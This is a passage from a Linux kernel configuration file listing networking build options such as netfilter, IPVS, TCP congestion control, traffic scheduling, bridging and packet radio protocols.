CONFIG_IP_ADVANCED_ROUTER=y
CONFIG_IP_FIB_TRIE_STATS=y
CONFIG_IP_MULTIPLE_TABLES=y
CONFIG_IP_ROUTE_MULTIPATH=y
CONFIG_IP_ROUTE_VERBOSE=y
CONFIG_IP_ROUTE_CLASSID=y
CONFIG_IP_PNP=y
CONFIG_IP_PNP_DHCP=y
CONFIG_IP_PNP_BOOTP=y
CONFIG_IP_PNP_RARP=y
CONFIG_NET_IPIP=y
CONFIG_NET_IPGRE_DEMUX=y
CONFIG_NET_IP_TUNNEL=y
CONFIG_NET_IPGRE=y
CONFIG_NET_IPGRE_BROADCAST=y
CONFIG_IP_MROUTE_COMMON=y
CONFIG_IP_MROUTE=y
CONFIG_IP_MROUTE_MULTIPLE_TABLES=y
CONFIG_IP_PIMSM_V1=y
CONFIG_IP_PIMSM_V2=y
CONFIG_SYN_COOKIES=y
CONFIG_NET_IPVTI=y
CONFIG_NET_UDP_TUNNEL=y
CONFIG_NET_FOU=y
CONFIG_NET_FOU_IP_TUNNELS=y
CONFIG_INET_AH=y
CONFIG_INET_ESP=y
CONFIG_INET_ESP_OFFLOAD=y
CONFIG_INET_ESPINTCP=y
CONFIG_INET_IPCOMP=y
CONFIG_INET_TABLE_PERTURB_ORDER=16
CONFIG_INET_XFRM_TUNNEL=y
CONFIG_INET_TUNNEL=y
CONFIG_INET_DIAG=y
CONFIG_INET_TCP_DIAG=y
CONFIG_INET_UDP_DIAG=y
CONFIG_INET_RAW_DIAG=y
CONFIG_INET_DIAG_DESTROY=y
CONFIG_TCP_CONG_ADVANCED=y
CONFIG_TCP_CONG_BIC=y
CONFIG_TCP_CONG_CUBIC=y
CONFIG_TCP_CONG_WESTWOOD=y
CONFIG_TCP_CONG_HTCP=y
CONFIG_TCP_CONG_HSTCP=y
CONFIG_TCP_CONG_HYBLA=y
CONFIG_TCP_CONG_VEGAS=y
CONFIG_TCP_CONG_NV=y
CONFIG_TCP_CONG_SCALABLE=y
CONFIG_TCP_CONG_LP=y
CONFIG_TCP_CONG_VENO=y
CONFIG_TCP_CONG_YEAH=y
CONFIG_TCP_CONG_ILLINOIS=y
CONFIG_TCP_CONG_DCTCP=y
CONFIG_TCP_CONG_CDG=y
CONFIG_TCP_CONG_BBR=y
# CONFIG_DEFAULT_BIC is not set
CONFIG_DEFAULT_CUBIC=y
# CONFIG_DEFAULT_HTCP is not set
# CONFIG_DEFAULT_HYBLA is not set
# CONFIG_DEFAULT_VEGAS is not set
# CONFIG_DEFAULT_VENO is not set
# CONFIG_DEFAULT_WESTWOOD is not set
# CONFIG_DEFAULT_DCTCP is not set
# CONFIG_DEFAULT_CDG is not set
# CONFIG_DEFAULT_BBR is not set
# CONFIG_DEFAULT_RENO is not set
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_AO is not set
CONFIG_TCP_MD5SIG=y
CONFIG_IPV6=y
CONFIG_IPV6_ROUTER_PREF=y
CONFIG_IPV6_ROUTE_INFO=y
CONFIG_IPV6_OPTIMISTIC_DAD=y
CONFIG_INET6_AH=y
CONFIG_INET6_ESP=y
CONFIG_INET6_ESP_OFFLOAD=y
CONFIG_INET6_ESPINTCP=y
CONFIG_INET6_IPCOMP=y
CONFIG_IPV6_MIP6=y
CONFIG_IPV6_ILA=y
CONFIG_INET6_XFRM_TUNNEL=y
CONFIG_INET6_TUNNEL=y
CONFIG_IPV6_VTI=y
CONFIG_IPV6_SIT=y
CONFIG_IPV6_SIT_6RD=y
CONFIG_IPV6_NDISC_NODETYPE=y
CONFIG_IPV6_TUNNEL=y
CONFIG_IPV6_GRE=y
CONFIG_IPV6_FOU=y
CONFIG_IPV6_FOU_TUNNEL=y
CONFIG_IPV6_MULTIPLE_TABLES=y
CONFIG_IPV6_SUBTREES=y
CONFIG_IPV6_MROUTE=y
CONFIG_IPV6_MROUTE_MULTIPLE_TABLES=y
CONFIG_IPV6_PIMSM_V2=y
CONFIG_IPV6_SEG6_LWTUNNEL=y
CONFIG_IPV6_SEG6_HMAC=y
CONFIG_IPV6_SEG6_BPF=y
CONFIG_IPV6_RPL_LWTUNNEL=y
# CONFIG_IPV6_IOAM6_LWTUNNEL is not set
CONFIG_NETLABEL=y
CONFIG_MPTCP=y
CONFIG_INET_MPTCP_DIAG=y
CONFIG_MPTCP_IPV6=y
CONFIG_NETWORK_SECMARK=y
CONFIG_NET_PTP_CLASSIFY=y
# CONFIG_NETWORK_PHY_TIMESTAMPING is not set
CONFIG_NETFILTER=y
CONFIG_NETFILTER_ADVANCED=y
CONFIG_BRIDGE_NETFILTER=y

#
# Core Netfilter Configuration
#
CONFIG_NETFILTER_INGRESS=y
CONFIG_NETFILTER_EGRESS=y
CONFIG_NETFILTER_SKIP_EGRESS=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_NETFILTER_FAMILY_BRIDGE=y
CONFIG_NETFILTER_FAMILY_ARP=y
CONFIG_NETFILTER_BPF_LINK=y
# CONFIG_NETFILTER_NETLINK_HOOK is not set
CONFIG_NETFILTER_NETLINK_ACCT=y
CONFIG_NETFILTER_NETLINK_QUEUE=y
CONFIG_NETFILTER_NETLINK_LOG=y
CONFIG_NETFILTER_NETLINK_OSF=y
CONFIG_NF_CONNTRACK=y
CONFIG_NF_LOG_SYSLOG=y
CONFIG_NETFILTER_CONNCOUNT=y
CONFIG_NF_CONNTRACK_MARK=y
CONFIG_NF_CONNTRACK_SECMARK=y
CONFIG_NF_CONNTRACK_ZONES=y
# CONFIG_NF_CONNTRACK_PROCFS is not set
CONFIG_NF_CONNTRACK_EVENTS=y
CONFIG_NF_CONNTRACK_TIMEOUT=y
CONFIG_NF_CONNTRACK_TIMESTAMP=y
CONFIG_NF_CONNTRACK_LABELS=y
CONFIG_NF_CONNTRACK_OVS=y
CONFIG_NF_CT_PROTO_GRE=y
CONFIG_NF_CT_PROTO_SCTP=y
CONFIG_NF_CT_PROTO_UDPLITE=y
CONFIG_NF_CONNTRACK_AMANDA=y
CONFIG_NF_CONNTRACK_FTP=y
CONFIG_NF_CONNTRACK_H323=y
CONFIG_NF_CONNTRACK_IRC=y
CONFIG_NF_CONNTRACK_BROADCAST=y
CONFIG_NF_CONNTRACK_NETBIOS_NS=y
CONFIG_NF_CONNTRACK_SNMP=y
CONFIG_NF_CONNTRACK_PPTP=y
CONFIG_NF_CONNTRACK_SANE=y
CONFIG_NF_CONNTRACK_SIP=y
CONFIG_NF_CONNTRACK_TFTP=y
CONFIG_NF_CT_NETLINK=y
CONFIG_NF_CT_NETLINK_TIMEOUT=y
CONFIG_NF_CT_NETLINK_HELPER=y
CONFIG_NETFILTER_NETLINK_GLUE_CT=y
CONFIG_NF_NAT=y
CONFIG_NF_NAT_AMANDA=y
CONFIG_NF_NAT_FTP=y
CONFIG_NF_NAT_IRC=y
CONFIG_NF_NAT_SIP=y
CONFIG_NF_NAT_TFTP=y
CONFIG_NF_NAT_REDIRECT=y
CONFIG_NF_NAT_MASQUERADE=y
CONFIG_NF_NAT_OVS=y
CONFIG_NETFILTER_SYNPROXY=y
CONFIG_NF_TABLES=y
CONFIG_NF_TABLES_INET=y
CONFIG_NF_TABLES_NETDEV=y
CONFIG_NFT_NUMGEN=y
CONFIG_NFT_CT=y
CONFIG_NFT_EXTHDR_DCCP=y
CONFIG_NFT_FLOW_OFFLOAD=y
CONFIG_NFT_CONNLIMIT=y
CONFIG_NFT_LOG=y
CONFIG_NFT_LIMIT=y
CONFIG_NFT_MASQ=y
CONFIG_NFT_REDIR=y
CONFIG_NFT_NAT=y
CONFIG_NFT_TUNNEL=y
CONFIG_NFT_QUEUE=y
CONFIG_NFT_QUOTA=y
CONFIG_NFT_REJECT=y
CONFIG_NFT_REJECT_INET=y
CONFIG_NFT_COMPAT=y
CONFIG_NFT_HASH=y
CONFIG_NFT_FIB=y
CONFIG_NFT_FIB_INET=y
CONFIG_NFT_XFRM=y
CONFIG_NFT_SOCKET=y
CONFIG_NFT_OSF=y
CONFIG_NFT_TPROXY=y
CONFIG_NFT_SYNPROXY=y
CONFIG_NF_DUP_NETDEV=y
CONFIG_NFT_DUP_NETDEV=y
CONFIG_NFT_FWD_NETDEV=y
CONFIG_NFT_FIB_NETDEV=y
CONFIG_NFT_REJECT_NETDEV=y
CONFIG_NF_FLOW_TABLE_INET=y
CONFIG_NF_FLOW_TABLE=y
# CONFIG_NF_FLOW_TABLE_PROCFS is not set
CONFIG_NETFILTER_XTABLES=y
CONFIG_NETFILTER_XTABLES_COMPAT=y
CONFIG_NETFILTER_XTABLES_LEGACY=y

#
# Xtables combined modules
#
CONFIG_NETFILTER_XT_MARK=y
CONFIG_NETFILTER_XT_CONNMARK=y
CONFIG_NETFILTER_XT_SET=y

#
# Xtables targets
#
CONFIG_NETFILTER_XT_TARGET_AUDIT=y
CONFIG_NETFILTER_XT_TARGET_CHECKSUM=y
CONFIG_NETFILTER_XT_TARGET_CLASSIFY=y
CONFIG_NETFILTER_XT_TARGET_CONNMARK=y
CONFIG_NETFILTER_XT_TARGET_CONNSECMARK=y
CONFIG_NETFILTER_XT_TARGET_CT=y
CONFIG_NETFILTER_XT_TARGET_DSCP=y
CONFIG_NETFILTER_XT_TARGET_HL=y
CONFIG_NETFILTER_XT_TARGET_HMARK=y
CONFIG_NETFILTER_XT_TARGET_IDLETIMER=y
CONFIG_NETFILTER_XT_TARGET_LED=y
CONFIG_NETFILTER_XT_TARGET_LOG=y
CONFIG_NETFILTER_XT_TARGET_MARK=y
CONFIG_NETFILTER_XT_NAT=y
CONFIG_NETFILTER_XT_TARGET_NETMAP=y
CONFIG_NETFILTER_XT_TARGET_NFLOG=y
CONFIG_NETFILTER_XT_TARGET_NFQUEUE=y
CONFIG_NETFILTER_XT_TARGET_NOTRACK=y
CONFIG_NETFILTER_XT_TARGET_RATEEST=y
CONFIG_NETFILTER_XT_TARGET_REDIRECT=y
CONFIG_NETFILTER_XT_TARGET_MASQUERADE=y
CONFIG_NETFILTER_XT_TARGET_TEE=y
CONFIG_NETFILTER_XT_TARGET_TPROXY=y
CONFIG_NETFILTER_XT_TARGET_TRACE=y
CONFIG_NETFILTER_XT_TARGET_SECMARK=y
CONFIG_NETFILTER_XT_TARGET_TCPMSS=y
CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP=y

#
# Xtables matches
#
CONFIG_NETFILTER_XT_MATCH_ADDRTYPE=y
CONFIG_NETFILTER_XT_MATCH_BPF=y
CONFIG_NETFILTER_XT_MATCH_CGROUP=y
CONFIG_NETFILTER_XT_MATCH_CLUSTER=y
CONFIG_NETFILTER_XT_MATCH_COMMENT=y
CONFIG_NETFILTER_XT_MATCH_CONNBYTES=y
CONFIG_NETFILTER_XT_MATCH_CONNLABEL=y
CONFIG_NETFILTER_XT_MATCH_CONNLIMIT=y
CONFIG_NETFILTER_XT_MATCH_CONNMARK=y
CONFIG_NETFILTER_XT_MATCH_CONNTRACK=y
CONFIG_NETFILTER_XT_MATCH_CPU=y
CONFIG_NETFILTER_XT_MATCH_DCCP=y
CONFIG_NETFILTER_XT_MATCH_DEVGROUP=y
CONFIG_NETFILTER_XT_MATCH_DSCP=y
CONFIG_NETFILTER_XT_MATCH_ECN=y
CONFIG_NETFILTER_XT_MATCH_ESP=y
CONFIG_NETFILTER_XT_MATCH_HASHLIMIT=y
CONFIG_NETFILTER_XT_MATCH_HELPER=y
CONFIG_NETFILTER_XT_MATCH_HL=y
CONFIG_NETFILTER_XT_MATCH_IPCOMP=y
CONFIG_NETFILTER_XT_MATCH_IPRANGE=y
CONFIG_NETFILTER_XT_MATCH_IPVS=y
CONFIG_NETFILTER_XT_MATCH_L2TP=y
CONFIG_NETFILTER_XT_MATCH_LENGTH=y
CONFIG_NETFILTER_XT_MATCH_LIMIT=y
CONFIG_NETFILTER_XT_MATCH_MAC=y
CONFIG_NETFILTER_XT_MATCH_MARK=y
CONFIG_NETFILTER_XT_MATCH_MULTIPORT=y
CONFIG_NETFILTER_XT_MATCH_NFACCT=y
CONFIG_NETFILTER_XT_MATCH_OSF=y
CONFIG_NETFILTER_XT_MATCH_OWNER=y
CONFIG_NETFILTER_XT_MATCH_POLICY=y
CONFIG_NETFILTER_XT_MATCH_PHYSDEV=y
CONFIG_NETFILTER_XT_MATCH_PKTTYPE=y
CONFIG_NETFILTER_XT_MATCH_QUOTA=y
CONFIG_NETFILTER_XT_MATCH_RATEEST=y
CONFIG_NETFILTER_XT_MATCH_REALM=y
CONFIG_NETFILTER_XT_MATCH_RECENT=y
CONFIG_NETFILTER_XT_MATCH_SCTP=y
CONFIG_NETFILTER_XT_MATCH_SOCKET=y
CONFIG_NETFILTER_XT_MATCH_STATE=y
CONFIG_NETFILTER_XT_MATCH_STATISTIC=y
CONFIG_NETFILTER_XT_MATCH_STRING=y
CONFIG_NETFILTER_XT_MATCH_TCPMSS=y
CONFIG_NETFILTER_XT_MATCH_TIME=y
CONFIG_NETFILTER_XT_MATCH_U32=y
# end of Core Netfilter Configuration

CONFIG_IP_SET=y
CONFIG_IP_SET_MAX=256
CONFIG_IP_SET_BITMAP_IP=y
CONFIG_IP_SET_BITMAP_IPMAC=y
CONFIG_IP_SET_BITMAP_PORT=y
CONFIG_IP_SET_HASH_IP=y
CONFIG_IP_SET_HASH_IPMARK=y
CONFIG_IP_SET_HASH_IPPORT=y
CONFIG_IP_SET_HASH_IPPORTIP=y
CONFIG_IP_SET_HASH_IPPORTNET=y
CONFIG_IP_SET_HASH_IPMAC=y
CONFIG_IP_SET_HASH_MAC=y
CONFIG_IP_SET_HASH_NETPORTNET=y
CONFIG_IP_SET_HASH_NET=y
CONFIG_IP_SET_HASH_NETNET=y
CONFIG_IP_SET_HASH_NETPORT=y
CONFIG_IP_SET_HASH_NETIFACE=y
CONFIG_IP_SET_LIST_SET=y
CONFIG_IP_VS=y
CONFIG_IP_VS_IPV6=y
# CONFIG_IP_VS_DEBUG is not set
CONFIG_IP_VS_TAB_BITS=12

#
# IPVS transport protocol load balancing support
#
CONFIG_IP_VS_PROTO_TCP=y
CONFIG_IP_VS_PROTO_UDP=y
CONFIG_IP_VS_PROTO_AH_ESP=y
CONFIG_IP_VS_PROTO_ESP=y
CONFIG_IP_VS_PROTO_AH=y
CONFIG_IP_VS_PROTO_SCTP=y

#
# IPVS scheduler
#
CONFIG_IP_VS_RR=y
CONFIG_IP_VS_WRR=y
CONFIG_IP_VS_LC=y
CONFIG_IP_VS_WLC=y
CONFIG_IP_VS_FO=y
CONFIG_IP_VS_OVF=y
CONFIG_IP_VS_LBLC=y
CONFIG_IP_VS_LBLCR=y
CONFIG_IP_VS_DH=y
CONFIG_IP_VS_SH=y
CONFIG_IP_VS_MH=y
CONFIG_IP_VS_SED=y
CONFIG_IP_VS_NQ=y
CONFIG_IP_VS_TWOS=y

#
# IPVS SH scheduler
#
CONFIG_IP_VS_SH_TAB_BITS=8

#
# IPVS MH scheduler
#
CONFIG_IP_VS_MH_TAB_INDEX=12

#
# IPVS application helper
#
CONFIG_IP_VS_FTP=y
CONFIG_IP_VS_NFCT=y
CONFIG_IP_VS_PE_SIP=y

#
# IP: Netfilter Configuration
#
CONFIG_NF_DEFRAG_IPV4=y
CONFIG_IP_NF_IPTABLES_LEGACY=y
CONFIG_NF_SOCKET_IPV4=y
CONFIG_NF_TPROXY_IPV4=y
CONFIG_NF_TABLES_IPV4=y
CONFIG_NFT_REJECT_IPV4=y
CONFIG_NFT_DUP_IPV4=y
CONFIG_NFT_FIB_IPV4=y
CONFIG_NF_TABLES_ARP=y
CONFIG_NF_DUP_IPV4=y
CONFIG_NF_LOG_ARP=y
CONFIG_NF_LOG_IPV4=y
CONFIG_NF_REJECT_IPV4=y
CONFIG_NF_NAT_SNMP_BASIC=y
CONFIG_NF_NAT_PPTP=y
CONFIG_NF_NAT_H323=y
CONFIG_IP_NF_IPTABLES=y
CONFIG_IP_NF_MATCH_AH=y
CONFIG_IP_NF_MATCH_ECN=y
CONFIG_IP_NF_MATCH_RPFILTER=y
CONFIG_IP_NF_MATCH_TTL=y
CONFIG_IP_NF_FILTER=y
CONFIG_IP_NF_TARGET_REJECT=y
CONFIG_IP_NF_TARGET_SYNPROXY=y
CONFIG_IP_NF_NAT=y
CONFIG_IP_NF_TARGET_MASQUERADE=y
CONFIG_IP_NF_TARGET_NETMAP=y
CONFIG_IP_NF_TARGET_REDIRECT=y
CONFIG_IP_NF_MANGLE=y
CONFIG_IP_NF_TARGET_ECN=y
CONFIG_IP_NF_TARGET_TTL=y
CONFIG_IP_NF_RAW=y
CONFIG_IP_NF_SECURITY=y
CONFIG_IP_NF_ARPTABLES=y
CONFIG_NFT_COMPAT_ARP=y
CONFIG_IP_NF_ARPFILTER=y
CONFIG_IP_NF_ARP_MANGLE=y
# end of IP: Netfilter Configuration

#
# IPv6: Netfilter Configuration
#
CONFIG_IP6_NF_IPTABLES_LEGACY=y
CONFIG_NF_SOCKET_IPV6=y
CONFIG_NF_TPROXY_IPV6=y
CONFIG_NF_TABLES_IPV6=y
CONFIG_NFT_REJECT_IPV6=y
CONFIG_NFT_DUP_IPV6=y
CONFIG_NFT_FIB_IPV6=y
CONFIG_NF_DUP_IPV6=y
CONFIG_NF_REJECT_IPV6=y
CONFIG_NF_LOG_IPV6=y
CONFIG_IP6_NF_IPTABLES=y
CONFIG_IP6_NF_MATCH_AH=y
CONFIG_IP6_NF_MATCH_EUI64=y
CONFIG_IP6_NF_MATCH_FRAG=y
CONFIG_IP6_NF_MATCH_OPTS=y
CONFIG_IP6_NF_MATCH_HL=y
CONFIG_IP6_NF_MATCH_IPV6HEADER=y
CONFIG_IP6_NF_MATCH_MH=y
CONFIG_IP6_NF_MATCH_RPFILTER=y
CONFIG_IP6_NF_MATCH_RT=y
CONFIG_IP6_NF_MATCH_SRH=y
CONFIG_IP6_NF_TARGET_HL=y
CONFIG_IP6_NF_FILTER=y
CONFIG_IP6_NF_TARGET_REJECT=y
CONFIG_IP6_NF_TARGET_SYNPROXY=y
CONFIG_IP6_NF_MANGLE=y
CONFIG_IP6_NF_RAW=y
CONFIG_IP6_NF_SECURITY=y
CONFIG_IP6_NF_NAT=y
CONFIG_IP6_NF_TARGET_MASQUERADE=y
CONFIG_IP6_NF_TARGET_NPT=y
# end of IPv6: Netfilter Configuration

CONFIG_NF_DEFRAG_IPV6=y
CONFIG_NF_TABLES_BRIDGE=y
CONFIG_NFT_BRIDGE_META=y
CONFIG_NFT_BRIDGE_REJECT=y
CONFIG_NF_CONNTRACK_BRIDGE=y
CONFIG_BRIDGE_NF_EBTABLES_LEGACY=y
CONFIG_BRIDGE_NF_EBTABLES=y
CONFIG_BRIDGE_EBT_BROUTE=y
CONFIG_BRIDGE_EBT_T_FILTER=y
CONFIG_BRIDGE_EBT_T_NAT=y
CONFIG_BRIDGE_EBT_802_3=y
CONFIG_BRIDGE_EBT_AMONG=y
CONFIG_BRIDGE_EBT_ARP=y
CONFIG_BRIDGE_EBT_IP=y
CONFIG_BRIDGE_EBT_IP6=y
CONFIG_BRIDGE_EBT_LIMIT=y
CONFIG_BRIDGE_EBT_MARK=y
CONFIG_BRIDGE_EBT_PKTTYPE=y
CONFIG_BRIDGE_EBT_STP=y
CONFIG_BRIDGE_EBT_VLAN=y
CONFIG_BRIDGE_EBT_ARPREPLY=y
CONFIG_BRIDGE_EBT_DNAT=y
CONFIG_BRIDGE_EBT_MARK_T=y
CONFIG_BRIDGE_EBT_REDIRECT=y
CONFIG_BRIDGE_EBT_SNAT=y
CONFIG_BRIDGE_EBT_LOG=y
CONFIG_BRIDGE_EBT_NFLOG=y
CONFIG_IP_SCTP=y
# CONFIG_SCTP_DBG_OBJCNT is not set
CONFIG_SCTP_DEFAULT_COOKIE_HMAC_SHA256=y
# CONFIG_SCTP_DEFAULT_COOKIE_HMAC_NONE is not set
CONFIG_INET_SCTP_DIAG=y
CONFIG_RDS=y
CONFIG_RDS_RDMA=y
CONFIG_RDS_TCP=y
# CONFIG_RDS_DEBUG is not set
CONFIG_TIPC=y
CONFIG_TIPC_MEDIA_IB=y
CONFIG_TIPC_MEDIA_UDP=y
CONFIG_TIPC_CRYPTO=y
CONFIG_TIPC_DIAG=y
CONFIG_ATM=y
CONFIG_ATM_CLIP=y
# CONFIG_ATM_CLIP_NO_ICMP is not set
CONFIG_ATM_LANE=y
CONFIG_ATM_MPOA=y
CONFIG_ATM_BR2684=y
# CONFIG_ATM_BR2684_IPFILTER is not set
CONFIG_L2TP=y
# CONFIG_L2TP_DEBUGFS is not set
CONFIG_L2TP_V3=y
CONFIG_L2TP_IP=y
CONFIG_L2TP_ETH=y
CONFIG_STP=y
CONFIG_GARP=y
CONFIG_MRP=y
CONFIG_BRIDGE=y
CONFIG_BRIDGE_IGMP_SNOOPING=y
CONFIG_BRIDGE_VLAN_FILTERING=y
CONFIG_BRIDGE_MRP=y
CONFIG_BRIDGE_CFM=y
CONFIG_NET_DSA=y
# CONFIG_NET_DSA_TAG_NONE is not set
# CONFIG_NET_DSA_TAG_AR9331 is not set
CONFIG_NET_DSA_TAG_BRCM_COMMON=y
CONFIG_NET_DSA_TAG_BRCM=y
# CONFIG_NET_DSA_TAG_BRCM_LEGACY is not set
# CONFIG_NET_DSA_TAG_BRCM_LEGACY_FCS is not set
CONFIG_NET_DSA_TAG_BRCM_PREPEND=y
# CONFIG_NET_DSA_TAG_HELLCREEK is not set
# CONFIG_NET_DSA_TAG_GSWIP is not set
# CONFIG_NET_DSA_TAG_DSA is not set
# CONFIG_NET_DSA_TAG_EDSA is not set
CONFIG_NET_DSA_TAG_MTK=y
# CONFIG_NET_DSA_TAG_MXL_862XX is not set
# CONFIG_NET_DSA_TAG_MXL_GSW1XX is not set
# CONFIG_NET_DSA_TAG_KSZ is not set
# CONFIG_NET_DSA_TAG_OCELOT is not set
# CONFIG_NET_DSA_TAG_OCELOT_8021Q is not set
CONFIG_NET_DSA_TAG_QCA=y
CONFIG_NET_DSA_TAG_RTL4_A=y
# CONFIG_NET_DSA_TAG_RTL8_4 is not set
# CONFIG_NET_DSA_TAG_RZN1_A5PSW is not set
# CONFIG_NET_DSA_TAG_LAN9303 is not set
# CONFIG_NET_DSA_TAG_SJA1105 is not set
# CONFIG_NET_DSA_TAG_TRAILER is not set
# CONFIG_NET_DSA_TAG_VSC73XX_8021Q is not set
# CONFIG_NET_DSA_TAG_XRS700X is not set
# CONFIG_NET_DSA_TAG_YT921X is not set
CONFIG_VLAN_8021Q=y
CONFIG_VLAN_8021Q_GVRP=y
CONFIG_VLAN_8021Q_MVRP=y
CONFIG_LLC=y
CONFIG_LLC2=y
# CONFIG_ATALK is not set
CONFIG_X25=y
CONFIG_LAPB=y
CONFIG_PHONET=y
CONFIG_6LOWPAN=y
# CONFIG_6LOWPAN_DEBUGFS is not set
CONFIG_6LOWPAN_NHC=y
CONFIG_6LOWPAN_NHC_DEST=y
CONFIG_6LOWPAN_NHC_FRAGMENT=y
CONFIG_6LOWPAN_NHC_HOP=y
CONFIG_6LOWPAN_NHC_IPV6=y
CONFIG_6LOWPAN_NHC_MOBILITY=y
CONFIG_6LOWPAN_NHC_ROUTING=y
CONFIG_6LOWPAN_NHC_UDP=y
CONFIG_6LOWPAN_GHC_EXT_HDR_HOP=y
CONFIG_6LOWPAN_GHC_UDP=y
CONFIG_6LOWPAN_GHC_ICMPV6=y
CONFIG_6LOWPAN_GHC_EXT_HDR_DEST=y
CONFIG_6LOWPAN_GHC_EXT_HDR_FRAG=y
CONFIG_6LOWPAN_GHC_EXT_HDR_ROUTE=y
CONFIG_IEEE802154=y
CONFIG_IEEE802154_NL802154_EXPERIMENTAL=y
CONFIG_IEEE802154_SOCKET=y
CONFIG_IEEE802154_6LOWPAN=y
CONFIG_MAC802154=y
CONFIG_NET_SCHED=y

#
# Queueing/Scheduling
#
CONFIG_NET_SCH_HTB=y
CONFIG_NET_SCH_HFSC=y
CONFIG_NET_SCH_PRIO=y
CONFIG_NET_SCH_MULTIQ=y
CONFIG_NET_SCH_RED=y
CONFIG_NET_SCH_SFB=y
CONFIG_NET_SCH_SFQ=y
CONFIG_NET_SCH_TEQL=y
CONFIG_NET_SCH_TBF=y
CONFIG_NET_SCH_CBS=y
CONFIG_NET_SCH_ETF=y
CONFIG_NET_SCH_MQPRIO_LIB=y
CONFIG_NET_SCH_TAPRIO=y
CONFIG_NET_SCH_GRED=y
CONFIG_NET_SCH_NETEM=y
CONFIG_NET_SCH_DRR=y
CONFIG_NET_SCH_MQPRIO=y
CONFIG_NET_SCH_SKBPRIO=y
CONFIG_NET_SCH_CHOKE=y
CONFIG_NET_SCH_QFQ=y
CONFIG_NET_SCH_CODEL=y
CONFIG_NET_SCH_FQ_CODEL=y
CONFIG_NET_SCH_CAKE=y
CONFIG_NET_SCH_FQ=y
CONFIG_NET_SCH_HHF=y
CONFIG_NET_SCH_PIE=y
CONFIG_NET_SCH_FQ_PIE=y
CONFIG_NET_SCH_INGRESS=y
CONFIG_NET_SCH_PLUG=y
CONFIG_NET_SCH_ETS=y
# CONFIG_NET_SCH_DUALPI2 is not set
CONFIG_NET_SCH_DEFAULT=y
# CONFIG_DEFAULT_FQ is not set
CONFIG_DEFAULT_CODEL=y
# CONFIG_DEFAULT_FQ_CODEL is not set
# CONFIG_DEFAULT_FQ_PIE is not set
# CONFIG_DEFAULT_SFQ is not set
# CONFIG_DEFAULT_PFIFO_FAST is not set
CONFIG_DEFAULT_NET_SCH="pfifo_fast"

#
# Classification
#
CONFIG_NET_CLS=y
CONFIG_NET_CLS_BASIC=y
CONFIG_NET_CLS_ROUTE4=y
CONFIG_NET_CLS_FW=y
CONFIG_NET_CLS_U32=y
CONFIG_CLS_U32_PERF=y
CONFIG_CLS_U32_MARK=y
CONFIG_NET_CLS_FLOW=y
CONFIG_NET_CLS_CGROUP=y
CONFIG_NET_CLS_BPF=y
CONFIG_NET_CLS_FLOWER=y
CONFIG_NET_CLS_MATCHALL=y
CONFIG_NET_EMATCH=y
CONFIG_NET_EMATCH_STACK=32
CONFIG_NET_EMATCH_CMP=y
CONFIG_NET_EMATCH_NBYTE=y
CONFIG_NET_EMATCH_U32=y
CONFIG_NET_EMATCH_META=y
CONFIG_NET_EMATCH_TEXT=y
CONFIG_NET_EMATCH_CANID=y
CONFIG_NET_EMATCH_IPSET=y
CONFIG_NET_EMATCH_IPT=y
CONFIG_NET_CLS_ACT=y
CONFIG_NET_ACT_POLICE=y
CONFIG_NET_ACT_GACT=y
CONFIG_GACT_PROB=y
CONFIG_NET_ACT_MIRRED=y
CONFIG_NET_ACT_SAMPLE=y
CONFIG_NET_ACT_NAT=y
CONFIG_NET_ACT_PEDIT=y
CONFIG_NET_ACT_SIMP=y
CONFIG_NET_ACT_SKBEDIT=y
CONFIG_NET_ACT_CSUM=y
CONFIG_NET_ACT_MPLS=y
CONFIG_NET_ACT_VLAN=y
CONFIG_NET_ACT_BPF=y
CONFIG_NET_ACT_CONNMARK=y
CONFIG_NET_ACT_CTINFO=y
CONFIG_NET_ACT_SKBMOD=y
CONFIG_NET_ACT_IFE=y
CONFIG_NET_ACT_TUNNEL_KEY=y
CONFIG_NET_ACT_CT=y
CONFIG_NET_ACT_GATE=y
CONFIG_NET_IFE_SKBMARK=y
CONFIG_NET_IFE_SKBPRIO=y
CONFIG_NET_IFE_SKBTCINDEX=y
CONFIG_NET_TC_SKB_EXT=y
CONFIG_NET_SCH_FIFO=y
CONFIG_DCB=y
CONFIG_DNS_RESOLVER=y
CONFIG_BATMAN_ADV=y
CONFIG_BATMAN_ADV_BATMAN_V=y
CONFIG_BATMAN_ADV_BLA=y
CONFIG_BATMAN_ADV_DAT=y
CONFIG_BATMAN_ADV_MCAST=y
# CONFIG_BATMAN_ADV_DEBUG is not set
# CONFIG_BATMAN_ADV_TRACING is not set
CONFIG_OPENVSWITCH=y
CONFIG_OPENVSWITCH_GRE=y
CONFIG_OPENVSWITCH_VXLAN=y
CONFIG_OPENVSWITCH_GENEVE=y
CONFIG_VSOCKETS=y
CONFIG_VSOCKETS_DIAG=y
CONFIG_VSOCKETS_LOOPBACK=y
# CONFIG_VMWARE_VMCI_VSOCKETS is not set
CONFIG_VIRTIO_VSOCKETS=y
CONFIG_VIRTIO_VSOCKETS_COMMON=y
CONFIG_NETLINK_DIAG=y
CONFIG_MPLS=y
CONFIG_NET_MPLS_GSO=y
CONFIG_MPLS_ROUTING=y
CONFIG_MPLS_IPTUNNEL=y
CONFIG_NET_NSH=y
CONFIG_HSR=y
CONFIG_NET_SWITCHDEV=y
CONFIG_NET_L3_MASTER_DEV=y
CONFIG_QRTR=y
CONFIG_QRTR_TUN=y
# CONFIG_QRTR_MHI is not set
CONFIG_NET_NCSI=y
# CONFIG_NCSI_OEM_CMD_GET_MAC is not set
# CONFIG_NCSI_OEM_CMD_KEEP_PHY is not set
# CONFIG_PCPU_DEV_REFCNT is not set
CONFIG_MAX_SKB_FRAGS=17
CONFIG_RPS=y
CONFIG_RFS_ACCEL=y
CONFIG_SOCK_RX_QUEUE_MAPPING=y
CONFIG_XPS=y
CONFIG_CGROUP_NET_PRIO=y
CONFIG_CGROUP_NET_CLASSID=y
CONFIG_NET_RX_BUSY_POLL=y
CONFIG_BQL=y
CONFIG_NET_FLOW_LIMIT=y

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
CONFIG_NET_DROP_MONITOR=y
# end of Network testing
# end of Networking options

CONFIG_HAMRADIO=y

#
# Packet Radio protocols
#
CONFIG_AX25=y
CONFIG_AX25_DAMA_SLAVE=y
CONFIG_NETROM=y
CONFIG_ROSE=y

#
# AX.25 network device drivers
#
CONFIG_MKISS=y
CONFIG_6PACK=y
CONFIG_BPQETHER=y
# CONFIG_BAYCOM_SER_FDX is not set
